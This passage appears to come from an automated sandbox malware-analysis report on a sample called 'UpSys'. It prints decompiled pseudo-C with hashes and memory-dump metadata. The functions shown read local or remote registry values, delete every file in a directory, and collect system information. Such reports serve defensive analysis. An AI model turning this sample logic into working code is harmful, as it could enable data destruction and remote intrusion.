				 *((long long*)(_t347 + 8)) = __rbx;
				_t341 = __rcx;
				r14d = 0;
				asm("movaps [eax-0x38], xmm6");
				_t344 = __r8;
				_t366 = __rdx;
				_v208 = _t368;
				E0000000114000FD50(_t347, __rbx,  &_v152);
				E0000000114000FD50(_t347, _t250,  &_v184);
				E0000000114000FD50(_t347, _t250,  &_v120);
				E00000001140012D80(_t183, _t347, _t250, __r8, 0x4009b6c0, __r8, __r8);
				E00000001140062190( *((intOrPtr*)(_t366 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t366 + 8)))));
				E00000001140001D30( *((intOrPtr*)(_t366 + 8)), _t250,  &_v88,  *((intOrPtr*)(_t366 + 8)));
				_v232 =  &_v120;
				E00000001140075290(__ebx, _t177, __esi,  &_v120, _t250,  *((intOrPtr*)(_t366 + 8)), _t341, _t344, __rbp,  &_v152,  &_v184, _t363, _t368, _t365);
				_v80 = _v176;
				_v72 = _v168;
				_t232 = _v160;
				 *_t232 =  *_t232 + 1;
				_v88 = _v184;
				_v64 = _t232;
				if (E000000011400750E0(_t183, __esi, _t204, _t232, _t250,  &_v88, _t344, __rbp,  &_v192,  &_v196) != r14b) goto 0x4007e939;
				_t23 = _t368 + 2; // 0x2
				r8d = 0;
				E0000000114000FCA0(_t23,  *_t341, _t250,  *((intOrPtr*)( *_t341 + 4)) + _t341, _t344, _t363);
				goto 0x4007ed5f;
				_t132 = E00000001140042380( *_t341,  &_v152);
				r12b = _t132;
				if (_t132 != r14b) goto 0x4007e98e;
				_t353 =  &_v208;
				if (RegConnectRegistryW(??, ??, ??) == r14d) goto 0x4007e987;
				r8d = 0;
				E0000000114000FC40(_t133,  *_t341, _t250,  *((intOrPtr*)( *_t341 + 4)) + _t341, _t344, _t346);
				goto 0x4007e929;
				goto 0x4007e993;
				r9d = _v196;
				r9d = r9d | 0x00020019;
				r8d = 0;
				_v232 =  &_v216;
				_t135 = RegOpenKeyExW(??, ??, ??, ??, ??); // executed
				if (_t135 == r14d) goto 0x4007e9ed;
				r8d = 0;
				E0000000114000FC40(_t135,  &_v216, _t250,  *((intOrPtr*)( *_t341 + 4)) + _t341, _t344, _t346);
				if (r12b != r14b) goto 0x4007e9e3;
				RegCloseKey(_t340);
				goto 0x4007e922;
				E00000001140062190( *((intOrPtr*)(_t366 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t366 + 8)) + 8)));
				r8d = 0;
				_v224 =  &_a16;
				_v232 = _t368;
				_t139 = RegQueryValueExW(??, ??, ??, ??, ??, ??); // executed
				r8d = 0;
				if (_t139 == r14d) goto 0x4007ea4e;
				E0000000114000FC40(_t139,  &_a16, _t250,  *((intOrPtr*)( *_t341 + 4)) + _t341, _t344, _t346);
				goto 0x4007ed39;
				_t237 =  *_t341;
				E0000000114000FC40(_a32, _t237, _t250,  *((intOrPtr*)(_t237 + 4)) + _t341, _t344, _t346);
				r11d = _a32;
				if (r11d - r14d <= 0) goto 0x4007ed2d;
				if (r11d - 2 <= 0) goto 0x4007ec74;
				if (r11d == 3) goto 0x4007ebe5;
				if (r11d == 4) goto 0x4007eb7c;
				if (r11d != 7) goto 0x4007ed2d;
				_t238 =  <  ? 0xffffffff : _t237;
				E00000001140016ED8(_t238, _t238);
				_t251 = _t238;
				E00000001140062190(_t238,  *((intOrPtr*)( *((intOrPtr*)(_t366 + 8)) + 8)));
				r9d = 0;
				_t239 =  &_a16;
				r8d = 0;
				_v224 = _t239;
				_v232 = _t251;
				if (RegQueryValueExW(??, ??, ??, ??, ??, ??) != r14d) goto 0x4007ecfb;
				_a16 = _a16 >> 1;
				 *((intOrPtr*)(_t251 + _t239 * 2)) = r14w;
				_t193 = _a16;
				if (_t193 - 1 <= 0) goto 0x4007ecee;
				r8d = 0xa;
				_t194 =  ==  ? _t238 - 1 : _t193;
				_a16 = _t194;
				if (_t194 - r14d <= 0) goto 0x4007eb69;
				_t240 = _t251;
				if ( *_t240 != r14w) goto 0x4007eb5f;
				 *_t240 = r8w;
				if (r14d + 1 - _a16 < 0) goto 0x4007eb4e;
				if ( *((intOrPtr*)(_t251 + (_t240 + 2) * 2)) != r8w) goto 0x4007ecee;
				goto 0x4007ece9;
				_a16 = 4;
				E00000001140062190( *((intOrPtr*)(_t366 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t366 + 8)) + 8)));
				r9d = 0;
				r8d = 0;
				_v224 =  &_a16;
				_t244 =  &_v200;
				_v232 = _t244;
				RegQueryValueExW(??, ??, ??, ??, ??, ??); // executed
				r11d = _v200;
				asm("pxor xmm6, xmm6");
				asm("repne dec ecx");
				E00000001140007A40(_t251, _t344, _t344, _t343);
				 *((intOrPtr*)(_t344 + 8)) = 3;
				asm("movsd [esi], xmm6");
				goto 0x4007ed44;
				E00000001140061F10(_a16, _t244, _t251, _t344,  *((intOrPtr*)(_t366 + 8)), _t344);
				E00000001140062190(_t244,  *((intOrPtr*)( *((intOrPtr*)(_t366 + 8)) + 8)));
				r9d = 0;
				_t245 =  &_a16;
				r8d = 0;
				_v224 = _t245;
				_v232 = _t244;
				if (RegQueryValueExW(??, ??, ??, ??, ??, ??) == r14d) goto 0x4007ed44;
				r8d = 0;
				E0000000114000FC40(_t155, _t245, _t244,  *((intOrPtr*)( *_t341 + 4)) + _t341, _t344, _t346);
				r8d = 0;
				_t95 = _t353 - 2; // -2
				E0000000114000FCA0(_t95, _t245, _t244,  *((intOrPtr*)( *_t341 + 4)) + _t341, _t344);
				E00000001140007A40(_t244, _t344, _t344);
				 *((intOrPtr*)(_t344 + 8)) = 1;
				 *_t344 = r14d;
				goto 0x4007ed44;
				_t246 =  <  ? 0xffffffff : _t245;
				E00000001140016ED8(_t246, _t246);
				_t253 = _t246;
				E00000001140062190(_t246,  *((intOrPtr*)( *((intOrPtr*)(_t366 + 8)) + 8)));
				r9d = 0;
				_t247 =  &_a16;
				r8d = 0;
				_v224 = _t247;
				_v232 = _t253;
				if (RegQueryValueExW(??, ??, ??, ??, ??, ??) != r14d) goto 0x4007ecfb;
				_a16 = _a16 >> 1;
				 *((intOrPtr*)(_t253 + _t247 * 2)) = r14w;
				E00000001140012D80(_t163, _t247, _t253, _t344, _t253, _t344, _t353);
				goto 0x4007ed23;
				r8d = 0;
				E0000000114000FC40(_t163,  *_t341, _t253,  *((intOrPtr*)( *_t341 + 4)) + _t341, _t344, _t346);
				r8d = 0;
				_t114 = _t353 - 2; // -2
				E0000000114000FCA0(_t114,  *_t341, _t253,  *((intOrPtr*)( *_t341 + 4)) + _t341, _t344);
				0x40016a60();
				goto 0x4007ed44;
				r8d = 0;
				E0000000114000FCA0(0xfffffffe,  *_t341, _t253,  *((intOrPtr*)( *_t341 + 4)) + _t341, _t344);
				RegCloseKey(??); // executed
				if (r12b != r14b) goto 0x4007ed5f;
				E00000001140002610(E00000001140002610(E00000001140002610(RegCloseKey(??), _t253,  &_v120), _t253,  &_v184), _t253,  &_v152);
				asm("inc ecx");
				return 0;
			}





















































                                                                                                                                                                                                        0x14007e830
                                                                                                                                                                                                        0x14007e830
                                                                                                                                                                                                        0x14007e830
                                                                                                                                                                                                        0x14007e830
                                                                                                                                                                                                        0x14007e830
                                                                                                                                                                                                        0x14007e833
                                                                                                                                                                                                        0x14007e846
                                                                                                                                                                                                        0x14007e84e
                                                                                                                                                                                                        0x14007e851
                                                                                                                                                                                                        0x14007e855
                                                                                                                                                                                                        0x14007e858
                                                                                                                                                                                                        0x14007e85b
                                                                                                                                                                                                        0x14007e860
                                                                                                                                                                                                        0x14007e86a
                                                                                                                                                                                                        0x14007e877
                                                                                                                                                                                                        0x14007e886
                                                                                                                                                                                                        0x14007e892
                                                                                                                                                                                                        0x14007e8a2
                                                                                                                                                                                                        0x14007e8bf
                                                                                                                                                                                                        0x14007e8c4
                                                                                                                                                                                                        0x14007e8d3
                                                                                                                                                                                                        0x14007e8e0
                                                                                                                                                                                                        0x14007e8e8
                                                                                                                                                                                                        0x14007e8f2
                                                                                                                                                                                                        0x14007e904
                                                                                                                                                                                                        0x14007e90c
                                                                                                                                                                                                        0x14007e91c
                                                                                                                                                                                                        0x14007e91e
                                                                                                                                                                                                        0x14007e92c
                                                                                                                                                                                                        0x14007e92f
                                                                                                                                                                                                        0x14007e934
                                                                                                                                                                                                        0x14007e93e
                                                                                                                                                                                                        0x14007e943
                                                                                                                                                                                                        0x14007e949
                                                                                                                                                                                                        0x14007e955
                                                                                                                                                                                                        0x14007e963
                                                                                                                                                                                                        0x14007e968
                                                                                                                                                                                                        0x14007e974
                                                                                                                                                                                                        0x14007e985
                                                                                                                                                                                                        0x14007e98c
                                                                                                                                                                                                        0x14007e993
                                                                                                                                                                                                        0x14007e9a5
                                                                                                                                                                                                        0x14007e9ac
                                                                                                                                                                                                        0x14007e9af
                                                                                                                                                                                                        0x14007e9b4
                                                                                                                                                                                                        0x14007e9bd
                                                                                                                                                                                                        0x14007e9c2
                                                                                                                                                                                                        0x14007e9ce
                                                                                                                                                                                                        0x14007e9d6
                                                                                                                                                                                                        0x14007e9dd
                                                                                                                                                                                                        0x14007e9e8
                                                                                                                                                                                                        0x14007e9f5
                                                                                                                                                                                                        0x14007ea12
                                                                                                                                                                                                        0x14007ea15
                                                                                                                                                                                                        0x14007ea1a
                                                                                                                                                                                                        0x14007ea1f
                                                                                                                                                                                                        0x14007ea25
                                                                                                                                                                                                        0x14007ea2b
                                                                                                                                                                                                        0x14007ea39
                                                                                                                                                                                                        0x14007ea49
                                                                                                                                                                                                        0x14007ea4e
                                                                                                                                                                                                        0x14007ea5f
                                                                                                                                                                                                        0x14007ea64
                                                                                                                                                                                                        0x14007ea6f
                                                                                                                                                                                                        0x14007ea79
                                                                                                                                                                                                        0x14007ea83
                                                                                                                                                                                                        0x14007ea8d
                                                                                                                                                                                                        0x14007ea97
                                                                                                                                                                                                        0x14007eab9
                                                                                                                                                                                                        0x14007eac0
                                                                                                                                                                                                        0x14007eacd
                                                                                                                                                                                                        0x14007ead0
                                                                                                                                                                                                        0x14007eada
                                                                                                                                                                                                        0x14007eae0
                                                                                                                                                                                                        0x14007eae8
                                                                                                                                                                                                        0x14007eaeb
                                                                                                                                                                                                        0x14007eaf0
                                                                                                                                                                                                        0x14007eb00
                                                                                                                                                                                                        0x14007eb0f
                                                                                                                                                                                                        0x14007eb16
                                                                                                                                                                                                        0x14007eb1b
                                                                                                                                                                                                        0x14007eb25
                                                                                                                                                                                                        0x14007eb2e
                                                                                                                                                                                                        0x14007eb39
                                                                                                                                                                                                        0x14007eb3f
                                                                                                                                                                                                        0x14007eb49
                                                                                                                                                                                                        0x14007eb4b
                                                                                                                                                                                                        0x14007eb52
                                                                                                                                                                                                        0x14007eb54
                                                                                                                                                                                                        0x14007eb67
                                                                                                                                                                                                        0x14007eb71
                                                                                                                                                                                                        0x14007eb77
                                                                                                                                                                                                        0x14007eb80
                                                                                                                                                                                                        0x14007eb8f
                                                                                                                                                                                                        0x14007eb99
                                                                                                                                                                                                        0x14007eba7
                                                                                                                                                                                                        0x14007ebaa
                                                                                                                                                                                                        0x14007ebaf
                                                                                                                                                                                                        0x14007ebb4
                                                                                                                                                                                                        0x14007ebb9
                                                                                                                                                                                                        0x14007ebbf
                                                                                                                                                                                                        0x14007ebc4
                                                                                                                                                                                                        0x14007ebcb
                                                                                                                                                                                                        0x14007ebd0
                                                                                                                                                                                                        0x14007ebd5
                                                                                                                                                                                                        0x14007ebdc
                                                                                                                                                                                                        0x14007ebe0
                                                                                                                                                                                                        0x14007ebef
                                                                                                                                                                                                        0x14007ebff
                                                                                                                                                                                                        0x14007ec09
                                                                                                                                                                                                        0x14007ec0f
                                                                                                                                                                                                        0x14007ec17
                                                                                                                                                                                                        0x14007ec1a
                                                                                                                                                                                                        0x14007ec1f
                                                                                                                                                                                                        0x14007ec2d
                                                                                                                                                                                                        0x14007ec36
                                                                                                                                                                                                        0x14007ec42
                                                                                                                                                                                                        0x14007ec4a
                                                                                                                                                                                                        0x14007ec51
                                                                                                                                                                                                        0x14007ec58
                                                                                                                                                                                                        0x14007ec60
                                                                                                                                                                                                        0x14007ec65
                                                                                                                                                                                                        0x14007ec6c
                                                                                                                                                                                                        0x14007ec6f
                                                                                                                                                                                                        0x14007ec90
                                                                                                                                                                                                        0x14007ec97
                                                                                                                                                                                                        0x14007eca4
                                                                                                                                                                                                        0x14007eca7
                                                                                                                                                                                                        0x14007ecb1
                                                                                                                                                                                                        0x14007ecb7
                                                                                                                                                                                                        0x14007ecbf
                                                                                                                                                                                                        0x14007ecc2
                                                                                                                                                                                                        0x14007ecc7
                                                                                                                                                                                                        0x14007ecd7
                                                                                                                                                                                                        0x14007ece2
                                                                                                                                                                                                        0x14007ece9
                                                                                                                                                                                                        0x14007ecf4
                                                                                                                                                                                                        0x14007ecf9
                                                                                                                                                                                                        0x14007ecfe
                                                                                                                                                                                                        0x14007ed08
                                                                                                                                                                                                        0x14007ed10
                                                                                                                                                                                                        0x14007ed17
                                                                                                                                                                                                        0x14007ed1e
                                                                                                                                                                                                        0x14007ed26
                                                                                                                                                                                                        0x14007ed2b
                                                                                                                                                                                                        0x14007ed39
                                                                                                                                                                                                        0x14007ed3f
                                                                                                                                                                                                        0x14007ed49
                                                                                                                                                                                                        0x14007ed52
                                                                                                                                                                                                        0x14007ed7b
                                                                                                                                                                                                        0x14007ed8e
                                                                                                                                                                                                        0x14007ed9e

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CloseQueryValue$ConnectOpenRegistry
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1543998473-0
                                                                                                                                                                                                        • Opcode ID: eb470f67b6e5b6af09f8dad0698a9b46972c1c636f732949b287a1fe48cc2e06
                                                                                                                                                                                                        • Instruction ID: 287916af2d0fde1bc5120d5f1fac8869eaf912474631618ab63aa2f32092539a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: eb470f67b6e5b6af09f8dad0698a9b46972c1c636f732949b287a1fe48cc2e06
                                                                                                                                                                                                        • Instruction Fuzzy Hash: EDE15C32215A8482EA65DF26E5917EEA361FBCDBD0F508112FB8E47BA5CF38C5518B40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014005A0D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 66fileCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 54%
                                                                                                                                                                                                        			E0000000114005A0D0(void* __edx, void* __rax, long long __rbx, void* __rcx, long long __rsi, long long __rbp, void* __r8, void* __r9, void* __r10, void* __r11, long long _a8, char _a16, long long _a24, long long _a32) {
				void* _v8;
				char _v536;
				char _v1064;
				char _v1592;
				char _v2140;
				signed char _v2184;
				char _v2712;
				long long _v2728;
				void* _t31;
				int _t38;
				int _t39;
				long long _t52;

				_t53 = __rbx;
				_a8 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				bpl = 0;
				E000000011400151D0(__rax, __rbx,  &_v2712);
				_t31 = E00000001140040EC0(); // executed
				if (_t31 == 0) goto 0x4005a115;
				E00000001140016E20( &_v2712, L"\\*.*");
				_t52 =  &_v536;
				_v2728 = _t52;
				E0000000114001823C(_t53,  &_v2712,  &_a16, __rsi,  &_v1592,  &_v1064, __r10, __r11);
				FindFirstFileW(??, ??); // executed
				dil = 1;
				if (_t52 == 0xffffffff) goto 0x4005a1d6;
				if (dil != 1) goto 0x4005a1d6;
				if ((_v2184 & 0x00000010) != 0) goto 0x4005a1bc;
				bpl = dil;
				E00000001140016E4C( &_v2712,  &_a16);
				E00000001140016E20( &_v2712,  &_v1592);
				E00000001140016E20( &_v2712,  &_v2140);
				_t38 = DeleteFileW(??); // executed
				if (_t38 != 1) goto 0x4005a1d9;
				_t39 = FindNextFileW(??, ??); // executed
				if (_t39 != 0) goto 0x4005a163;
				dil = 0;
				goto 0x4005a163;
				FindClose(??);
				return bpl;
			}















                                                                                                                                                                                                        0x14005a0d0
                                                                                                                                                                                                        0x14005a0d0
                                                                                                                                                                                                        0x14005a0d5
                                                                                                                                                                                                        0x14005a0da
                                                                                                                                                                                                        0x14005a0ee
                                                                                                                                                                                                        0x14005a0f1
                                                                                                                                                                                                        0x14005a0fb
                                                                                                                                                                                                        0x14005a102
                                                                                                                                                                                                        0x14005a110
                                                                                                                                                                                                        0x14005a115
                                                                                                                                                                                                        0x14005a13a
                                                                                                                                                                                                        0x14005a13f
                                                                                                                                                                                                        0x14005a151
                                                                                                                                                                                                        0x14005a157
                                                                                                                                                                                                        0x14005a161
                                                                                                                                                                                                        0x14005a167
                                                                                                                                                                                                        0x14005a171
                                                                                                                                                                                                        0x14005a180
                                                                                                                                                                                                        0x14005a183
                                                                                                                                                                                                        0x14005a195
                                                                                                                                                                                                        0x14005a1a7
                                                                                                                                                                                                        0x14005a1b1
                                                                                                                                                                                                        0x14005a1ba
                                                                                                                                                                                                        0x14005a1c7
                                                                                                                                                                                                        0x14005a1cf
                                                                                                                                                                                                        0x14005a1d1
                                                                                                                                                                                                        0x14005a1d4
                                                                                                                                                                                                        0x14005a1dc
                                                                                                                                                                                                        0x14005a1fc

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: File$Find$AttributesCloseDeleteFirstFullNameNextPath
                                                                                                                                                                                                        • String ID: \*.*
                                                                                                                                                                                                        • API String ID: 1127339523-1173974218
                                                                                                                                                                                                        • Opcode ID: be57b4cbe4b717e5f728a61af55abce9d9bcef921b10db37add219673fe16067
                                                                                                                                                                                                        • Instruction ID: 30e4fdbee1598f8a5c17c26d597cc52359c97b9c7d2eb2e500b3014dea352947
                                                                                                                                                                                                        • Opcode Fuzzy Hash: be57b4cbe4b717e5f728a61af55abce9d9bcef921b10db37add219673fe16067
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2931BF32228A8595EA21DB12E4807DE6365F7897D4F805112FB9E03AA8EF7DC649CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140012EB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 60%
                                                                                                                                                                                                        			E00000001140012EB0(void* __ecx, void* __edx, void* __eflags, long long* __rax, long long __rbx, intOrPtr* __rcx, long long __rsi, void* __r8, char _a8, long long _a16, long long _a24) {
				void* _v8;
				intOrPtr _v14;
				char _v276;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				intOrPtr _v296;
				char _v340;
				signed short _v344;
				long long _v376;
				char _v392;
				void* __rdi;
				char _t65;
				char _t66;
				void* _t70;
				void* _t74;
				void* _t78;
				long long* _t87;
				intOrPtr* _t108;
				void* _t114;

				_t114 = __r8;
				_t89 = __rbx;
				_t87 = __rax;
				_t78 = __eflags;
				_t74 = __ecx;
				_a16 = __rbx;
				_a24 = __rsi;
				_t108 = __rcx;
				E0000000114000FD50(__rax, __rbx, __rcx + 0x10);
				 *((char*)(_t108 + 0x42)) = 0;
				_v296 = 0x11c;
				GetVersionExW(??);
				r11d = _v292;
				 *((intOrPtr*)(_t108 + 4)) = _v288;
				 *((intOrPtr*)(_t108 + 8)) = _v284;
				 *_t108 = r11d;
				E000000011400107E0(_t87, _t108 + 0x10,  &_v276, _t108);
				E00000001140013070(_t87, _t89, _t108 + 0x10, _t114);
				E000000011400130B0(_t87, _t89, _t108 + 0x10, _t114);
				 *((char*)(_t108 + 0x3e)) = 0;
				_t65 =  *_t108 - 5;
				 *((char*)(_t108 + 0x30)) = 0;
				 *((char*)(_t108 + 0x31)) = 0;
				 *((char*)(_t108 + 0x32)) = 0;
				 *((char*)(_t108 + 0x33)) = 0;
				 *((char*)(_t108 + 0x34)) = 0;
				 *((char*)(_t108 + 0x35)) = 0;
				 *((char*)(_t108 + 0x36)) = 0;
				 *((char*)(_t108 + 0x37)) = 0;
				 *((char*)(_t108 + 0x38)) = 0;
				 *((char*)(_t108 + 0x39)) = 0;
				 *((char*)(_t108 + 0x3a)) = 0;
				 *((char*)(_t108 + 0x3b)) = 0;
				 *((char*)(_t108 + 0x3c)) = 0;
				 *((char*)(_t108 + 0x3d)) = 0;
				if (_t78 == 0) goto 0x40033581;
				if (_t65 != 1) goto 0x40012fb9;
				 *((char*)(_t108 + 0x31)) = _t65;
				 *((char*)(_t108 + 0x33)) = _t65;
				 *((char*)(_t108 + 0x35)) = _t65;
				_t66 =  *((intOrPtr*)(_t108 + 4));
				if (_t66 == 0) goto 0x40033550;
				if (_t66 != 1) goto 0x40012fb9;
				 *((char*)(_t108 + 0x37)) = _t66;
				 *((char*)(_t108 + 0x39)) = _t66;
				 *((char*)(_t108 + 0x3b)) = _t66;
				if (_v14 != _t66) goto 0x40033574;
				 *((char*)(_t108 + 0x3a)) = _t66;
				_v392 = __rsi;
				_v376 = __rsi;
				if (E00000001140013B10( &_v392) == 0) goto 0x40013008;
				_a8 = 0;
				GetCurrentProcess();
				E00000001140013B90( &_v392);
				_t107 =  &_a8;
				_t70 =  *_t87();
				if (_a8 == 1) goto 0x400335dd;
				_v344 = 0;
				_t48 = _t107 + 0x2c; // 0x2c
				r8d = _t48;
				E00000001140017520(_t70, _t74, 0,  &_v340,  &_a8, _t114);
				if ( *((intOrPtr*)(_t108 + 0x3e)) != sil) goto 0x400335e6;
				GetSystemInfo(??); // executed
				 *((short*)(_t108 + 0x40)) = _v344 & 0x0000ffff;
				if (_v392 == 0) goto 0x4001304a;
				return FreeLibrary(??);
			}























                                                                                                                                                                                                        0x140012eb0
                                                                                                                                                                                                        0x140012eb0
                                                                                                                                                                                                        0x140012eb0
                                                                                                                                                                                                        0x140012eb0
                                                                                                                                                                                                        0x140012eb0
                                                                                                                                                                                                        0x140012eb0
                                                                                                                                                                                                        0x140012eb5
                                                                                                                                                                                                        0x140012ec2
                                                                                                                                                                                                        0x140012ec9
                                                                                                                                                                                                        0x140012ed6
                                                                                                                                                                                                        0x140012eda
                                                                                                                                                                                                        0x140012ee5
                                                                                                                                                                                                        0x140012ef2
                                                                                                                                                                                                        0x140012efa
                                                                                                                                                                                                        0x140012f10
                                                                                                                                                                                                        0x140012f13
                                                                                                                                                                                                        0x140012f16
                                                                                                                                                                                                        0x140012f26
                                                                                                                                                                                                        0x140012f36
                                                                                                                                                                                                        0x140012f3d
                                                                                                                                                                                                        0x140012f41
                                                                                                                                                                                                        0x140012f44
                                                                                                                                                                                                        0x140012f48
                                                                                                                                                                                                        0x140012f4c
                                                                                                                                                                                                        0x140012f50
                                                                                                                                                                                                        0x140012f54
                                                                                                                                                                                                        0x140012f58
                                                                                                                                                                                                        0x140012f5c
                                                                                                                                                                                                        0x140012f60
                                                                                                                                                                                                        0x140012f64
                                                                                                                                                                                                        0x140012f68
                                                                                                                                                                                                        0x140012f6c
                                                                                                                                                                                                        0x140012f70
                                                                                                                                                                                                        0x140012f74
                                                                                                                                                                                                        0x140012f78
                                                                                                                                                                                                        0x140012f7c
                                                                                                                                                                                                        0x140012f85
                                                                                                                                                                                                        0x140012f87
                                                                                                                                                                                                        0x140012f8a
                                                                                                                                                                                                        0x140012f8d
                                                                                                                                                                                                        0x140012f90
                                                                                                                                                                                                        0x140012f95
                                                                                                                                                                                                        0x140012f9e
                                                                                                                                                                                                        0x140012fa0
                                                                                                                                                                                                        0x140012fa3
                                                                                                                                                                                                        0x140012fa6
                                                                                                                                                                                                        0x140012fb0
                                                                                                                                                                                                        0x140012fb6
                                                                                                                                                                                                        0x140012fc0
                                                                                                                                                                                                        0x140012fc5
                                                                                                                                                                                                        0x140012fd1
                                                                                                                                                                                                        0x140012fd3
                                                                                                                                                                                                        0x140012fda
                                                                                                                                                                                                        0x140012fe8
                                                                                                                                                                                                        0x140012fed
                                                                                                                                                                                                        0x140012ff8
                                                                                                                                                                                                        0x140013002
                                                                                                                                                                                                        0x14001300f
                                                                                                                                                                                                        0x140013013
                                                                                                                                                                                                        0x140013013
                                                                                                                                                                                                        0x140013017
                                                                                                                                                                                                        0x140013020
                                                                                                                                                                                                        0x14001302b
                                                                                                                                                                                                        0x14001303b
                                                                                                                                                                                                        0x140013042
                                                                                                                                                                                                        0x140013061

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CurrentFreeInfoLibraryProcessSystemVersion
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1203837996-0
                                                                                                                                                                                                        • Opcode ID: f1183e10d51cd994dc8179ba18230ca11c692e10428092024075da228c6e6f49
                                                                                                                                                                                                        • Instruction ID: 4ec4ddf56c9a73df4ad800351315335fdf8dd8be87e753650d7be9570be7c225
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f1183e10d51cd994dc8179ba18230ca11c692e10428092024075da228c6e6f49
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 15818E3210C6C0EAE7A3CB26D2943DE7BA0F369384F441055E78547EA6CBBAE178C751
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400194C0 Relevance: 7.6, APIs: 5, Instructions: 92COMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 67%
